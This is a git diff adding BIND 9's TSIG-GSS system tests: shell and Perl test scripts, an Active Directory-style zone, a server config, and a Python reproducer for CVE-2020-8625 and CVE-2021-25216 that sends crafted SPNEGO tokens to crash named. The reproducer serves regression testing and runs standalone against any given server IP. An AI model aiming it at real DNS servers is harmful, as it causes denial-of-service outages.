summaryrefslogtreecommitdiffstats
path: root/bin/tests/system/tsiggss
diff options
context:
space:
mode:
Diffstat (limited to 'bin/tests/system/tsiggss')
-rw-r--r--bin/tests/system/tsiggss/authsock.pl96
-rw-r--r--bin/tests/system/tsiggss/clean.sh28
-rw-r--r--bin/tests/system/tsiggss/ns1/administrator.ccachebin0 -> 2315 bytes
-rw-r--r--bin/tests/system/tsiggss/ns1/dns.keytabbin0 -> 1087 bytes
-rw-r--r--bin/tests/system/tsiggss/ns1/example.nil.db.in62
-rw-r--r--bin/tests/system/tsiggss/ns1/named.conf.in49
-rw-r--r--bin/tests/system/tsiggss/ns1/testdenied.ccachebin0 -> 2188 bytes
-rw-r--r--bin/tests/system/tsiggss/prereq.sh23
-rw-r--r--bin/tests/system/tsiggss/setup.sh22
-rw-r--r--bin/tests/system/tsiggss/tests.sh177
-rwxr-xr-xbin/tests/system/tsiggss/tests_isc_spnego_flaws.py219
11 files changed, 676 insertions, 0 deletions
diff --git a/bin/tests/system/tsiggss/authsock.pl b/bin/tests/system/tsiggss/authsock.pl
new file mode 100644
index 0000000..d629c65
--- /dev/null
+++ b/bin/tests/system/tsiggss/authsock.pl
@@ -0,0 +1,96 @@
+#!/usr/bin/env perl
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# test the update-policy external protocol
+
+require 5.6.0;
+
+use IO::Socket::UNIX;
+use Getopt::Long;
+
+my $path;
+my $typeallowed = "A";
+my $pidfile = "authsock.pid";
+my $timeout = 0;
+
+GetOptions("path=s" => \$path,
+ "type=s" => \$typeallowed,
+ "pidfile=s" => \$pidfile,
+ "timeout=i" => \$timeout);
+
+if (!defined($path)) {
+ print("Usage: authsock.pl --path=<sockpath> --type=type --pidfile=pidfile\n");
+ exit(1);
+}
+
+unlink($path);
+my $server = IO::Socket::UNIX->new(Local => $path, Type => SOCK_STREAM, Listen => 8) or
+ die "unable to create socket $path";
+chmod 0777, $path;
+
+# setup our pidfile
+open(my $pid,">",$pidfile)
+ or die "unable to open pidfile $pidfile";
+print $pid "$$\n";
+close($pid);
+
+# close gracefully
+sub rmpid { unlink "$pidfile"; exit 1; };
+$SIG{INT} = \&rmpid;
+$SIG{TERM} = \&rmpid;
+
+if ($timeout != 0) {
+ # die after the given timeout
+ alarm($timeout);
+}
+
+while (my $client = $server->accept()) {
+ $client->recv(my $buf, 8, 0);
+ my ($version, $req_len) = unpack('N N', $buf);
+
+ if ($version != 1 || $req_len < 17) {
+ printf("Badly formatted request\n");
+ $client->send(pack('N', 2));
+ next;
+ }
+
+ $client->recv(my $buf, $req_len - 8, 0);
+
+ my ($signer,
+ $name,
+ $addr,
+ $type,
+ $key,
+ $key_data) = unpack('Z* Z* Z* Z* Z* N/a', $buf);
+
+ if ($req_len != length($buf)+8) {
+ printf("Length mismatch %u %u\n", $req_len, length($buf)+8);
+ $client->send(pack('N', 2));
+ next;
+ }
+
+ printf("version=%u signer=%s name=%s addr=%s type=%s key=%s key_data_len=%u\n",
+ $version, $signer, $name, $addr, $type, $key, length($key_data));
+
+ my $result;
+ if ($typeallowed eq $type) {
+ $result = 1;
+ printf("allowed type %s == %s\n", $type, $typeallowed);
+ } else {
+ printf("disallowed type %s != %s\n", $type, $typeallowed);
+ $result = 0;
+ }
+
+ $reply = pack('N', $result);
+ $client->send($reply);
+}
diff --git a/bin/tests/system/tsiggss/clean.sh b/bin/tests/system/tsiggss/clean.sh
new file mode 100644
index 0000000..0ace209
--- /dev/null
+++ b/bin/tests/system/tsiggss/clean.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+#
+# Clean up after tsiggss tests.
+#
+
+rm -f ns1/*.jnl ns1/update.txt ns1/auth.sock
+rm -f ns1/*.db ns1/K*.key ns1/K*.private
+rm -f ns1/_default.tsigkeys
+rm -f */named.memstats
+rm -f */named.conf
+rm -f */named.run
+rm -f authsock.pid
+rm -f ns1/core
+rm -f nsupdate.out*
+rm -f ns*/named.lock
+rm -f ns*/managed-keys.bind*
diff --git a/bin/tests/system/tsiggss/ns1/administrator.ccache b/bin/tests/system/tsiggss/ns1/administrator.ccache
new file mode 100644
index 0000000..e6c2e74
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/administrator.ccache
Binary files differ
diff --git a/bin/tests/system/tsiggss/ns1/dns.keytab b/bin/tests/system/tsiggss/ns1/dns.keytab
new file mode 100644
index 0000000..dcb863b
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/dns.keytab
Binary files differ
diff --git a/bin/tests/system/tsiggss/ns1/example.nil.db.in b/bin/tests/system/tsiggss/ns1/example.nil.db.in
new file mode 100644
index 0000000..536ef29
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/example.nil.db.in
@@ -0,0 +1,62 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0. If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; -*- zone -*-
+; this was generated by a Samba4 provision, and is typical
+; of a AD DNS zone
+$ORIGIN example.nil.
+$TTL 1W
+@ IN SOA blu hostmaster (
+ 2010113027 ; serial
+ 2D ; refresh
+ 4H ; retry
+ 6W ; expiry
+ 1W ) ; minimum
+ IN NS blu
+
+ IN A 10.53.0.1
+;
+
+blu IN A 10.53.0.1
+gc._msdcs IN A 10.53.0.1
+
+fb33eb58-5d58-4100-a114-256e0a97ffc1._msdcs IN CNAME blu
+;
+; global catalog servers
+_gc._tcp IN SRV 0 100 3268 blu
+_gc._tcp.Default-First-Site-Name._sites IN SRV 0 100 3268 blu
+_ldap._tcp.gc._msdcs IN SRV 0 100 3268 blu
+_ldap._tcp.Default-First-Site-Name._sites.gc._msdcs IN SRV 0 100 3268 blu
+;
+; ldap servers
+_ldap._tcp IN SRV 0 100 389 blu
+_ldap._tcp.dc._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.pdc._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.d86745b4-f3e0-4af3-be03-2130d1534be8.domains._msdcs IN SRV 0 100 389 blu
+_ldap._tcp.Default-First-Site-Name._sites IN SRV 0 100 389 blu
+_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 389 blu
+;
+; krb5 servers
+_kerberos._tcp IN SRV 0 100 88 blu
+_kerberos._tcp.dc._msdcs IN SRV 0 100 88 blu
+_kerberos._tcp.Default-First-Site-Name._sites IN SRV 0 100 88 blu
+_kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs IN SRV 0 100 88 blu
+_kerberos._udp IN SRV 0 100 88 blu
+; MIT kpasswd likes to lookup this name on password change
+_kerberos-master._tcp IN SRV 0 100 88 blu
+_kerberos-master._udp IN SRV 0 100 88 blu
+;
+; kpasswd
+_kpasswd._tcp IN SRV 0 100 464 blu
+_kpasswd._udp IN SRV 0 100 464 blu
+;
+; heimdal 'find realm for host' hack
+_kerberos IN TXT EXAMPLE.NIL
diff --git a/bin/tests/system/tsiggss/ns1/named.conf.in b/bin/tests/system/tsiggss/ns1/named.conf.in
new file mode 100644
index 0000000..1dfa49a
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/named.conf.in
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+ query-source address 10.53.0.1;
+ notify-source 10.53.0.1;
+ transfer-source 10.53.0.1;
+ port @PORT@;
+ pid-file "named.pid";
+ session-keyfile "session.key";
+ listen-on { 10.53.0.1; 127.0.0.1; };
+ listen-on-v6 { none; };
+ recursion no;
+ notify yes;
+ tkey-gssapi-keytab "dns.keytab";
+};
+
+key rndc_key {
+ secret "1234abcd8765";
+ algorithm hmac-sha256;
+};
+
+controls {
+ inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+zone "example.nil." IN {
+ type primary;
+ file "example.nil.db";
+
+ update-policy {
+ grant Administrator@EXAMPLE.NIL wildcard * A AAAA SRV CNAME;
+ grant testdenied@EXAMPLE.NIL wildcard * TXT;
+ grant "local:auth.sock" external * CNAME;
+ };
+
+ /* we need to use check-names ignore so _msdcs A records can be created */
+ check-names ignore;
+};
diff --git a/bin/tests/system/tsiggss/ns1/testdenied.ccache b/bin/tests/system/tsiggss/ns1/testdenied.ccache
new file mode 100644
index 0000000..070e85b
--- /dev/null
+++ b/bin/tests/system/tsiggss/ns1/testdenied.ccache
Binary files differ
diff --git a/bin/tests/system/tsiggss/prereq.sh b/bin/tests/system/tsiggss/prereq.sh
new file mode 100644
index 0000000..20ae6b6
--- /dev/null
+++ b/bin/tests/system/tsiggss/prereq.sh
@@ -0,0 +1,23 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+# enable the tsiggss test only if gssapi was enabled
+$FEATURETEST --gssapi || {
+ echo_i "gssapi and krb5 not supported - skipping tsiggss test"
+ exit 255
+}
+
+exit 0
diff --git a/bin/tests/system/tsiggss/setup.sh b/bin/tests/system/tsiggss/setup.sh
new file mode 100644
index 0000000..3b07647
--- /dev/null
+++ b/bin/tests/system/tsiggss/setup.sh
@@ -0,0 +1,22 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+$SHELL clean.sh
+
+copy_setports ns1/named.conf.in ns1/named.conf
+
+key=`$KEYGEN -Cq -K ns1 -a $DEFAULT_ALGORITHM -b $DEFAULT_BITS -n HOST -T KEY key.example.nil.`
+cat ns1/example.nil.db.in ns1/${key}.key > ns1/example.nil.db
diff --git a/bin/tests/system/tsiggss/tests.sh b/bin/tests/system/tsiggss/tests.sh
new file mode 100644
index 0000000..2d5dc8e
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests.sh
@@ -0,0 +1,177 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+# tests for TSIG-GSS updates
+
+SYSTEMTESTTOP=..
+. $SYSTEMTESTTOP/conf.sh
+
+status=0
+n=1
+
+DIGOPTS="@10.53.0.1 -p ${PORT}"
+
+test_update () {
+ num="$1"
+ host="$2"
+ type="$3"
+ cmd="$4"
+ digout="$5"
+
+ cat <<EOF > ns1/update.txt
+server 10.53.0.1 ${PORT}
+update add $host $cmd
+send
+answer
+EOF
+ echo_i "testing update for $host $type $cmd"
+ $NSUPDATE -g -d ns1/update.txt > nsupdate.out${num} 2>&1 || {
+ echo_i "update failed for $host $type $cmd"
+ sed "s/^/I:/" nsupdate.out${num}
+ return 1
+ }
+
+ # Verify that TKEY response is signed.
+ tkeyout=`awk '/recvmsg reply from GSS-TSIG query/,/Sending update to/' nsupdate.out${num}`
+ pattern="recvmsg reply from GSS-TSIG query .* opcode: QUERY, status: NOERROR, id: .* flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; QUESTION SECTION: ;.* ANY TKEY ;; ANSWER SECTION: .* 0 ANY TKEY gss-tsig\. .* ;; TSIG PSEUDOSECTION: .* 0 ANY TSIG gss-tsig\. .* NOERROR 0"
+ echo $tkeyout | grep "$pattern" > /dev/null || {
+ echo_i "bad tkey response (not tsig signed)"
+ return 1
+ }
+
+ # Weak verification that TKEY response is signed.
+ grep -q "flags: qr; QUESTION: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1" nsupdate.out${num} || {
+ echo_i "bad tkey response (not tsig signed)"
+ return 1
+ }
+
+ out=`$DIG $DIGOPTS -t $type -q $host | grep -E "^${host}"`
+ lines=`echo "$out" | grep "$digout" | wc -l`
+ [ $lines -eq 1 ] || {
+ echo_i "dig output incorrect for $host $type $cmd: $out"
+ return 1
+ }
+ return 0
+}
+
+
+# Testing updates with good credentials.
+KRB5CCNAME="FILE:"`pwd`/ns1/administrator.ccache
+export KRB5CCNAME
+
+echo_i "testing updates to testdc1 as administrator ($n)"
+ret=0
+test_update $n testdc1.example.nil. A "86400 A 10.53.0.10" "10.53.0.10" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to testdc2 as administrator ($n)"
+ret=0
+test_update $n testdc2.example.nil. A "86400 A 10.53.0.11" "10.53.0.11" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to denied as administrator ($n)"
+ret=0
+test_update $n denied.example.nil. TXT "86400 TXT helloworld" "helloworld" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+
+# Testing denied updates.
+KRB5CCNAME="FILE:"`pwd`/ns1/testdenied.ccache
+export KRB5CCNAME
+
+echo_i "testing updates to denied (A) as a user ($n)"
+ret=0
+test_update $n testdenied.example.nil. A "86400 A 10.53.0.12" "10.53.0.12" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing updates to denied (TXT) as a user ($n)"
+ret=0
+test_update $n testdenied.example.nil. TXT "86400 TXT helloworld" "helloworld" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (CNAME) ($n)"
+ret=0
+test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (CNAME) with auth sock ($n)"
+ret=0
+$PERL ./authsock.pl --type=CNAME --path=ns1/auth.sock --pidfile=authsock.pid --timeout=120 > /dev/null 2>&1 &
+sleep 1
+test_update $n testcname.example.nil. CNAME "86400 CNAME testdenied.example.nil" "testdenied" || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external update policy (A) ($n)"
+ret=0
+test_update $n testcname.example.nil. A "86400 A 10.53.0.13" "10.53.0.13" > /dev/null && ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "testing external policy with SIG(0) key ($n)"
+ret=0
+$NSUPDATE -k ns1/Kkey.example.nil.*.private <<END > /dev/null 2>&1 || ret=1
+server 10.53.0.1 ${PORT}
+zone example.nil
+update add fred.example.nil 120 cname foo.bar.
+send
+END
+output=`$DIG $DIGOPTS +short cname fred.example.nil.`
+[ -n "$output" ] || ret=1
+[ $ret -eq 0 ] || echo_i "failed"
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "ensure too long realm name is fatal in non-interactive mode ($n)"
+ret=0
+$NSUPDATE <<END > nsupdate.out${n} 2>&1 && ret=1
+ realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename
+END
+grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1
+grep "syntax error" nsupdate.out${n} > /dev/null || ret=1
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+echo_i "ensure too long realm name is not fatal in interactive mode ($n)"
+ret=0
+$NSUPDATE -i <<END > nsupdate.out${n} 2>&1 || ret=1
+ realm namenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamenamename
+END
+grep "realm is too long" nsupdate.out${n} > /dev/null || ret=1
+[ $ret = 0 ] || { echo_i "failed"; status=1; }
+n=$((n+1))
+if [ "$ret" -ne 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
+
+[ $status -eq 0 ] && echo_i "tsiggss tests all OK"
+
+kill `cat authsock.pid`
+
+echo_i "exit status: $status"
+[ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
new file mode 100755
index 0000000..6340b5a
--- /dev/null
+++ b/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py
@@ -0,0 +1,219 @@
+#!/usr/bin/python
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+A tool for reproducing ISC SPNEGO vulnerabilities
+"""
+
+import argparse
+import datetime
+import struct
+import time
+
+import pytest
+
+pytest.importorskip("dns")
+import dns.message
+import dns.name
+import dns.query
+import dns.rdata
+import dns.rdataclass
+import dns.rdatatype
+import dns.rrset
+
+
+class CraftedTKEYQuery:
+ # pylint: disable=too-few-public-methods
+
+ """
+ A class for preparing crafted TKEY queries
+ """
+
+ def __init__(self, opts: argparse.Namespace) -> None:
+ # Prepare crafted key data
+ tkey_data = ASN1Encoder(opts).get_tkey_data()
+ # Prepare TKEY RDATA containing crafted key data
+ rdata = dns.rdata.GenericRdata(
+ dns.rdataclass.ANY, dns.rdatatype.TKEY, self._get_tkey_rdata(tkey_data)
+ )
+ # Prepare TKEY RRset with crafted RDATA (for the ADDITIONAL section)
+ rrset = dns.rrset.from_rdata(dns.name.root, dns.rdatatype.TKEY, rdata)
+
+ # Prepare complete TKEY query to send
+ self.msg = dns.message.make_query(
+ dns.name.root, dns.rdatatype.TKEY, dns.rdataclass.ANY
+ )
+ self.msg.additional.append(rrset)
+
+ def _get_tkey_rdata(self, tkey_data: bytes) -> bytes:
+ """
+ Return the RDATA to be used for the TKEY RRset sent in the ADDITIONAL
+ section
+ """
+ tkey_rdata = dns.name.from_text("gss-tsig.").to_wire() # domain
+ if not tkey_rdata:
+ return b""
+ tkey_rdata += struct.pack(">I", int(time.time()) - 3600) # inception
+ tkey_rdata += struct.pack(">I", int(time.time()) + 86400) # expiration
+ tkey_rdata += struct.pack(">H", 3) # mode
+ tkey_rdata += struct.pack(">H", 0) # error
+ tkey_rdata += self._with_len(tkey_data) # key
+ tkey_rdata += struct.pack(">H", 0) # other size
+ return tkey_rdata
+
+ def _with_len(self, data: bytes) -> bytes:
+ """
+ Return 'data' with its length prepended as a 16-bit big-endian integer
+ """
+ return struct.pack(">H", len(data)) + data
+
+
+class ASN1Encoder:
+ # pylint: disable=too-few-public-methods
+
+ """
+ A custom ASN1 encoder which allows preparing malformed GSSAPI tokens
+ """
+
+ SPNEGO_OID = b"\x06\x06\x2b\x06\x01\x05\x05\x02"
+
+ def __init__(self, opts: argparse.Namespace) -> None:
+ self._real_oid_length = opts.real_oid_length
+ self._extra_oid_length = opts.extra_oid_length
+
+ # The TKEY RR being sent contains an encoded negTokenInit SPNEGO message.
+ # RFC 4178 section 4.2 specifies how such a message is constructed.
+
+ def get_tkey_data(self) -> bytes:
+ """
+ Return the key data field of the TKEY RR to be sent
+ """
+ return self._asn1(
+ data_id=b"\x60", data=self.SPNEGO_OID + self._get_negtokeninit()
+ )
+
+ def _get_negtokeninit(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of the negTokenInit message to send
+ """
+ return self._asn1(
+ data_id=b"\xa0",
+ data=self._asn1(
+ data_id=b"\x30",
+ data=self._get_mechtypelist(),
+ extra_length=self._extra_oid_length,
+ ),
+ extra_length=self._extra_oid_length,
+ )
+
+ def _get_mechtypelist(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of the MechTypeList to send
+ """
+ return self._asn1(
+ data_id=b"\xa0",
+ data=self._asn1(
+ data_id=b"\x30",
+ data=self._get_mechtype(),
+ extra_length=self._extra_oid_length,
+ ),
+ extra_length=self._extra_oid_length,
+ )
+
+ def _get_mechtype(self) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of a bogus security mechanism OID
+ which consists of 'self._real_oid_length' 0x01 bytes
+ """
+ return self._asn1(
+ data_id=b"\x06",
+ data=b"\x01" * self._real_oid_length,
+ extra_length=self._extra_oid_length,
+ )
+
+ def _asn1(self, data_id: bytes, data: bytes, extra_length: int = 0) -> bytes:
+ """
+ Return the ASN.1 DER-encoded form of 'data' to be included in GSSAPI
+ key data, designated with 'data_id' as the content identifier. Setting
+ 'extra_length' to a positive integer allows data length indicated in
+ the ASN.1 DER representation of 'data' to be increased beyond its
+ actual size.
+ """
+ data_len = struct.pack(">I", len(data) + extra_length)
+ return data_id + b"\x84" + data_len + data
+
+
+def parse_options() -> argparse.Namespace:
+ """
+ Parse command line options
+ """
+ parser = argparse.ArgumentParser()
+ parser.add_argument("--server-ip", required=True)
+ parser.add_argument("--server-port", type=int, default=53)
+ parser.add_argument("--real-oid-length", type=int, default=1)
+ parser.add_argument("--extra-oid-length", type=int, default=0)
+
+ return parser.parse_args()
+
+
+def send_crafted_tkey_query(opts: argparse.Namespace) -> None:
+ """
+ Script entry point
+ """
+
+ query = CraftedTKEYQuery(opts).msg
+ print("# > " + str(datetime.datetime.now()))
+ print(query.to_text())
+ print()
+
+ response = dns.query.tcp(query, opts.server_ip, timeout=2, port=opts.server_port)
+ print("# < " + str(datetime.datetime.now()))
+ print(response.to_text())
+ print()
+
+
+def test_cve_2020_8625(named_port):
+ """
+ Reproducer for CVE-2020-8625. When run for an affected BIND 9 version,
+ send_crafted_tkey_query() will raise a network-related exception due to
+ named (ns1) becoming unavailable after crashing.
+ """
+ for i in range(0, 50):
+ opts = argparse.Namespace(
+ server_ip="10.53.0.1",
+ server_port=named_port,
+ real_oid_length=i,
+ extra_oid_length=0,
+ )
+ send_crafted_tkey_query(opts)
+
+
+def test_cve_2021_25216(named_port):
+ """
+ Reproducer for CVE-2021-25216. When run for an affected BIND 9 version,
+ send_crafted_tkey_query() will raise a network-related exception due to
+ named (ns1) becoming unavailable after crashing.
+ """
+ opts = argparse.Namespace(
+ server_ip="10.53.0.1",
+ server_port=named_port,
+ real_oid_length=1,
+ extra_oid_length=1073741824,
+ )
+ send_crafted_tkey_query(opts)
+
+
+if __name__ == "__main__":
+ cli_opts = parse_options()
+ send_crafted_tkey_query(cli_opts)